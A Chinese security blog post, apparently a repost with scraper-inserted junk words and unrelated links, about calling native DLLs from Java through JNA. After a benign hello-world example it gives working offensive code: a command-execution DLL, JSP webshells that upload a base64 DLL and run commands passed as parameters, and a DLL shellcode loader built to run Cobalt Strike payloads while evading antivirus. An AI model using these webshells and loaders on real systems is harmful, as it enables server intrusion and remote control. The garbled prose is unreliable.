- 当前位置：首页 >系统运维 >我们一起聊聊 JNA 调用动态链接库
我们一起聊聊 JNA 调用动态链接库
发布时间：2025-11-05 10:55:09 来源：创站工坊 作者：域名
前言
在一次实际项目中遇到了无法调用exe可执行文件，聊聊听说哥斯拉利用JNA技术实现了内存加载exe、用动执行命令等操作，态链特来实践一下。接库
JNA 基础知识
JNA全称：Java Native Access，聊聊是用动建立在JNI（Java Native Interface）技术之上的Java开源框架，JNA提供了一组Java工具类用于在运行期间动态访问的态链系统本地库。简单理解就是接库：JNA提供了一个"桥梁"，可以利用Java代码直接访问动态链接库中的聊聊函数。
调用JNI接口
调用JNI接口的用动步骤为：
创建工程，将dll文件放到工程下引入JNA相关的态链jar包创建继承自Library类的接口接口中创建对象用于加载DLL/SO的类库接口中声明DLL/SO类库头文件中暴露的方法调用该方法编译DLL
以windows为例，使用Visual Studio 创建一个动态链接库的接库工程，并定义一个头文件testdll.h和源文件testdll.cpp。聊聊简单实现一个SayHello的用动方法创建testdll.cpp，作用是态链用来实现被声明的函数。
复制#include "pch.h" #include "testdll.h" void SayHello() { std::cout << "Hello！你成功了！" << std::endl; }1.2.3.4.5.6.7.创建testdll.h头文件，作用是用来声明需要导出的云服务器提供商函数接口
复制#pragma once #include <iostream> extern "C" __declspec(dllexport) void SayHello(); //声明一个可被调用的函数“SayHello()”，它的返回类型是void。 //extern "C"的作用是告诉编译器将被它修饰的代码按C语言的方式进行编译 //__declspec(dllexport)，此修饰符告诉编译器和链接器被它修饰的函数或变量需要从DLL导出1.2.3.4.5.6.7.而后编译出dll。注意：要DLL位数要与JDK位数相同，否则无法调用。
导入JAR包
首先创建java工程，可以是普通项目也可以是maven功能。maven 需要导入依赖
复制<dependency> <groupId>net.java.dev.jna</groupId> <artifactId>jna</artifactId> <version>5.13.0</version> </dependency> <dependency> <groupId>net.java.dev.jna</groupId> <artifactId>jna-platform</artifactId> <version>5.13.0</version> </dependency>1.2.3.4.5.6.7.8.9.10.普通工程可以在 https://github.com/java-native-access/jna 下载jna jar包和platform jar包并导入。
调用DLL
我们需要继承Library类接口，调用Native类的load方法将我们的testdll.dll加载进来并转换为本地库，而后声明SayHello方法。
复制public interface Mydll extends Library { Mydll mydll = (Mydll)Native.load("testdll",Mydll.class); void SayHello(); }1.2.3.4.5.调用时不需要链接库的后缀，会自动加上。声明SayHello方法时，结合testdll.h头文件，没有返回值为void，也没有需要的数据类型。（需要的b2b供应网话可查找JNA 数据类型对应关系）
然后在主方法里调用SayHello方法
复制public static void main(String[] args) { Mydll.mydll.SayHello(); }1.2.3.
可以看到成功调用了testdll.dll的SayHello方法。
加载动态链接库
在上面的代码中，我们直接利用Native.load将dll转换为本地库，在此之前缺少了加载这一步。常见的加载动态链接库有三种方法：
System.load / System.loadLibraryRuntime.getRuntime().load / Runtime.getRuntime().loadLibrarycom.sun.glass.utils.NativeLibLoader.loadLibrary在使用时也有一些区别：load接收的是系统的绝对路径，loadLibrary接收的是相对路径。但实际利用过程中肯定是绝对路径优先于相对路径。以Runtime.getRuntime().load为例：
但实际利用可能会被安全软件捕捉。我们反射调用loadLibrary方法。代码来自Java加载动态链接库这篇文章
复制try { Class clazz = Class.forName("java.lang.ClassLoader"); java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class); method.setAccessible(true); method.invoke(null, clazz, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll", true); Mydll mydll = (Mydll)Native.load("testdll",Mydll.class); mydll.SayHello(); }catch (Exception e){ e.printStackTrace(); }1.2.3.4.5.6.7.8.9.10.场景利用
现在我们想一下具体场景的利用，在此基础上调整我们的代码。
webshell
既然jna加载动态链接库后转换为本地库，可以调用dll的任意方法，那实现一个命令执行应该也是可以的。
复制#include "pch.h" #include "command.h" #include <cstdlib> #include <string> void executeCommand(const char* command) { char psBuffer[128]; FILE* pPipe; if ((pPipe = _popen(command, "r")) == NULL) { exit(1); } while (fgets(psBuffer, 128, pPipe)) { puts(psBuffer); } int endOfFileVal = feof(pPipe); int closeReturnVal = _pclose(pPipe); if (endOfFileVal) { printf("\nProcess returned %d\n", closeReturnVal); } else { printf("Error: Failed to read the pipe to the end.\n"); } }1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.相应的头文件
复制#pragma once #include <iostream> extern "C" __declspec(dllexport) void executeCommand(const char* command);1.2.3.4.java代码加载并调用。
复制import com.sun.jna.Library; import com.sun.jna.Native; public class test { public interface Mydll extends Library { void executeCommand(String command); } public static void main(String[] args) { try { Class clazz = Class.forName("java.lang.ClassLoader"); java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class); method.setAccessible(true); method.invoke(null, clazz, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll", true); Mydll mydll = (Mydll)Native.load("testdll",Mydll.class); mydll.executeCommand("ipconfig"); }catch (Exception e){ e.printStackTrace(); } } }1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.
成功实现。结合实际利用我们还需要优化一下代码，改成jsp脚本文件。网站模板因为com.sun.jna包是第三方包，在实际利用肯定没有。所以这里选择将自己写的代码和jna.jar一块用maven打包为maven02-1.0-SNAPSHOT-jar-with-dependencies.jar试试。
再把test类名修改为show，把dll动态链接库和将要执行的命令作为参数传递进去。现在还差一个加载外部的jar包并调用方法的jsp脚本文件。
复制<%@ page import="java.lang.reflect.Method" %> <%@ page import="java.net.URL" %> <%@ page import="java.net.URLClassLoader" %> <% String path = "file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar"; URLClassLoader urlClassLoader =null; Class<?> MyTest = null; //通过URLClassLoader加载外部jar urlClassLoader = new URLClassLoader(new URL[]{new URL(path)}); //获取外部jar里面的具体类对象 MyTest = urlClassLoader.loadClass("com.jna.jnatest"); //创建对象实例 Object instance = MyTest.newInstance(); //获取实例当中的方法名为show Method method = MyTest.getMethod("show", String.class,String.class); //传入实例以及方法参数信息执行这个方法 Object ada = method.invoke(instance, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll","whoami"); %>1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.这样用的时候需要向目标服务器手动上传两个文件，jar包和dll文件。我们再进一步优化一下。
复制<%@ page import="java.lang.reflect.Method" %> <%@ page import="java.net.URLClassLoader" %> <%@ page import="java.net.URL" %> <%! private String getFileName(){ String fileName = ""; java.util.Random random = new java.util.Random(System.currentTimeMillis()); String os = System.getProperty("os.name").toLowerCase(); if (os.contains("windows")){ fileName = "C:\\Windows\\Temp\\" + random.nextInt(10000000) + ".dll"; }else { fileName = "/tmp/"+ random.nextInt(10000000) + ".so"; } return fileName; } public String UploadBase64DLL(String base64) throws Exception { sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder(); java.io.File file = new java.io.File(getFileName()); java.io.FileOutputStream fos = new java.io.FileOutputStream(file); fos.write(b.decodeBuffer(base64)); fos.close(); return file.getAbsolutePath(); } %> <% try{ String cmd = request.getParameter("cmd"); String base64 = request.getParameter("base64"); String file = UploadBase64DLL(base64); String path = "file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar"; //通过URLClassLoader加载外部jar URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(path)}); //获取外部jar里面的具体类对象 Class<?> MyTest = urlClassLoader.loadClass("com.jna.jnatest"); //创建对象实例 Object instance = MyTest.newInstance(); //获取实例当中的方法名为show，参数只有一个且类型为string的public方法 Method method = MyTest.getMethod("show", String.class,String.class); //传入实例以及方法参数信息执行这个方法 Object ada = method.invoke(instance, file,cmd); } catch (Exception e){ out.println(e); } %>1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.42.43.44.45.46.47.48.49.50.51.52.现在只需要手动上传一个jar包就可以，dll通过base64编码上传上去。这样参数值就是base64编码之后的dll和cmd要执行的系统命令。
唯一的缺点就是不能在前端显示，或许将代码加入到冰蝎可以实现？
shellcode
既然前端无法获取结果，那直接加载shellcode上线cs呢？我们利用同样的方式写出加载shellcode的代码。shellcode.cpp
复制#include "shellcode.h" #include <iostream> using namespace std; void shellcode(PCHAR code, DWORD buf_len) { cout << buf_len << endl; DWORD oldprotect = 0; LPVOID base_addr = NULL; // 申请一块buf_len长度大小的空间，RW权限，不要开rwx，PAGE_EXECUTE_READWRITE base_addr = VirtualAlloc(0, buf_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // 复制shellcode到新的空间，这个函数比较罕见，用memcpy也可以呀 unsigned char HexNumArray[4096]; int num = HexStr2HexNum(code, buf_len, HexNumArray); RtlMoveMemory(base_addr, HexNumArray, buf_len); // 修改为执行RX权限 VirtualProtect(base_addr, buf_len, PAGE_EXECUTE_READ, &oldprotect); cout << "starting spawn shellcode" << endl; // 当前进程创建线程执行shellcode auto ct = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)base_addr, 0, 0, 0); // 等待线程返回值 WaitForSingleObject(ct, -1); // 释放内存 free(base_addr); } int HexStr2HexNum(char* HexStrArray, int len, unsigned char* HexNumArray) { int j = 0; for (int i = 0; i < len; i += 2) { if (HexStrArray[i] == 0x5C || HexStrArray[i] == 0x58 || HexStrArray[i] == 0x78) { continue; } char HIGH_BYTE = 0; char LOW_BYTE = 0; //high 4 if (HexStrArray[i] >= 0x30 && HexStrArray[i] <= 0x3A) { HIGH_BYTE = HexStrArray[i] - 0x30; } else if (HexStrArray[i] >= 0x41 && HexStrArray[i] <= 0x47) { HIGH_BYTE = HexStrArray[i] - 0x37; } else if (HexStrArray[i] >= 0x61 && HexStrArray[i] <= 0x67) { HIGH_BYTE = HexStrArray[i] - 0x57; } else { printf("Please make sure the format of Hex String is correct!\r\n"); printf("The wrong char is \"%c\", and its number is % d\r\n", HexStrArray[i], i); return -1; } //low 4 if (HexStrArray[i + 1] >= 0x30 && HexStrArray[i + 1] <= 0x3A) { LOW_BYTE = HexStrArray[i + 1] - 0x30; } else if (HexStrArray[i + 1] >= 0x41 && HexStrArray[i + 1] <= 0x47) { LOW_BYTE = HexStrArray[i + 1] - 0x37; } else if (HexStrArray[i + 1] >= 0x61 && HexStrArray[i + 1] <= 0x67) { LOW_BYTE = HexStrArray[i + 1] - 0x57; } else { printf("Please make sure the format of Hex String is correct!\r\n"); printf("The wrong char is \"%c\", and its number is % d\r\n", HexStrArray[i], i); return -1; } HexNumArray[j] &= 0x0F; HexNumArray[j] |= (HIGH_BYTE << 4); HexNumArray[j] &= 0xF0; HexNumArray[j] |= LOW_BYTE; j++; } return 0; }1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.42.43.44.45.46.47.48.49.50.51.52.53.54.55.56.57.58.59.60.61.62.63.64.65.66.67.68.69.70.71.72.73.74.75.76.77.78.79.80.81.82.83.84.85.86.87.shellcode.h
复制#pragma once #include <Windows.h> extern "C" __declspec(dllexport) BOOL shellcode(PCHAR code, DWORD size); int HexStr2HexNum(char* HexStrArray, int len, unsigned char* HexNumArray);1.2.3.4.5.6.在java里加载并调用，传入shellcode和长度。以达到更好的免杀性。
复制import java.util.Base64; import com.sun.jna.Library; import com.sun.jna.Native; public class test { public interface Mydll extends Library { void shellcode(byte[] b,int length); } public static void show(String base64,String dllpath,String dllname) { try { Class clazz = Class.forName("java.lang.ClassLoader"); java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class); method.setAccessible(true); method.invoke(null, clazz, dllpath, true); Mydll mydll = (Mydll)Native.load(dllname,Mydll.class); byte[] base64decodedBytes = java.util.Base64.getDecoder().decode(base64); int leng = base64decodedBytes.length; mydll.shellcode(base64decodedBytes,leng); }catch (Exception e){ e.printStackTrace(); } } public static void main(String[] args) { String base64encodedString = "XHhmY1x4NDhxxxxxxxxxxxxxxx"; show(base64encodedString,"C:\\Windows\\Temp\\jna.dll","jna"); } }1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.此时只需要将shellcode值base64编码当做字符传递即可。测试一下
可以看到正常上线，进程为javaw.exe。那在实际环境中同样不能这样利用。依旧把java代码打包为jar包，再修改一下jsp脚本文件应该就可以在实际运行了。
复制<%@ page import="java.lang.reflect.Method" %> <%@ page import="java.net.URLClassLoader" %> <%@ page import="java.net.URL" %> <%! private String getFileName(String dllname){ String fileName = ""; String os = System.getProperty("os.name").toLowerCase(); if (os.contains("windows")){ fileName = "C:\\Windows\\Temp\\" + dllname + ".dll"; }else { fileName = "/tmp/"+ dllname + ".so"; } return fileName; } public String UploadBase64DLL(String base64,String dllname) throws Exception { sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder(); java.io.File file = new java.io.File(getFileName(dllname)); java.io.FileOutputStream fos = new java.io.FileOutputStream(file); fos.write(b.decodeBuffer(base64)); fos.close(); return file.getAbsolutePath(); } %> <% try{ String shellcode = request.getParameter("shellcode"); String base64dll = request.getParameter("base64dll"); String dllname = request.getParameter("dllname"); String pathdll = UploadBase64DLL(base64dll,dllname); String path = "file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar"; URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(path)}); Class<?> MyTest = urlClassLoader.loadClass("com.jna.jnatest"); Object instance = MyTest.newInstance(); Method method = MyTest.getMethod("show", String.class,String.class,String.class); Object ada = method.invoke(instance,shellcode, pathdll,dllname); } catch (Exception e){ out.println(e); } %>1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.42.43.44.45.46.47.以tomcat为例，shellcode 即将cobaltstrike的shellcode进行base64编码，base64dll 是base64编码dll动态链接库之后的值，dllname即是dll动态链接库的名称。测试可以正常上线执行命令。上线进程为java.exe。
总结
在学习JNA调用动态链接库的时候，借鉴了很多师傅的思路，但无奈赶不上师傅们的高度，只能用稍微复杂点的办法完善自己的代码，来曲折得实现效果。
参考资料
https://www.bilibili.com/video/BV16t411A7it/?spm_id_from=333.337.search-card.all.click&vd_source=0627d2723fb97773126096556cc98e0dhttps://www.cnblogs.com/happyhuangjinjin/p/17219986.htmlhttps://tttang.com/archive/1436/https://payloads.online/archivers/2022-08-11/1/
本文作者：CSeroad， 转载请注明来自FreeBuf.COM
- 小米6安卓系统评测——性能优越，操作流畅稳定（一款高性价比手机中的安卓之王）
- LOL训练教程网络崩溃的原因与解决方法（探究LOL训练教程中的网络崩溃现象及解决方案）
- 酷派8070（体验超乎想象的智能科技世界）
- BoseM2耳机（探索无与伦比的音乐体验，尽在BoseM2耳机）
- 三星On7的卡槽设计是否卡顿？（解析三星On7卡槽设计是否符合用户需求）
- 金力S6手机——华丽外观与强大性能的完美结合（探索金力S6手机的前沿科技和出色用户体验）
- 佳能IPF671（佳能IPF671的性能特点及适用领域）
- 华为2K屏手机（探索华为2K屏手机的细节与特色，让你的视觉体验更加绚丽逼真）
- 解决电脑双击提示错误的方法（如何修复电脑双击无法打开文件或文件夹的问题）
- 2016年餐饮行业发展情况（回顾过去，展望未来，洞察行业趋势）
- MX4待机表现如何？（MX4待机续航能力及性能评测）
- 如何使用U盘刷写XP系统（简单操作步骤教程，让您轻松完成安装）
- 技嘉GT430显卡的性能与特点剖析（一款中端显卡带来的卓越表现与可靠性能）
- 三星On7功能全面，性价比超高（解析三星On7的卓越功能与优势）
- 微软鼠标3500的性能与使用体验（高性能无线鼠标，提升您的工作效率）
- 以翔升GTX10606G性能全面解析（一款强劲的显卡，带来流畅游戏体验）
- 佳能95评测——拍摄无忧的全能相机（佳能95怎么样？一起来看看这款功能强大的相机吧！）
- 南孚酷博USB插座的性能与质量（一款高品质、安全可靠的USB插座）
- 探索RX560黑狼显卡的性能和功能（了解RX560黑狼显卡的卓越性能及优势）
- 深入了解大数据的重要性和应用（解析大数据的概念、挑战和前景）
随便看看
源码下载IT资讯网益华科技企商汇服务器租用香港云服务器亿华云IT技术网源码库全栈开发益强资讯优选益强智未来益强数据堂益强IT技术网科技前瞻汇智坊亿华灵动益强编程堂亿华智造亿华科技益强编程舍思维库益强智囊团益强科技码力社亿华互联多维IT资讯编程之道IT资讯网益强前沿资讯益华科技智能时代创站工坊技术快报益华IT技术论坛极客编程运维纵横亿华云云智核亿华云计算极客码头益华科技亿华智慧云
- Copyright © 2025 Powered by 我们一起聊聊 JNA 调用动态链接库,创站工坊 滇ICP备2023006006号-44sitemap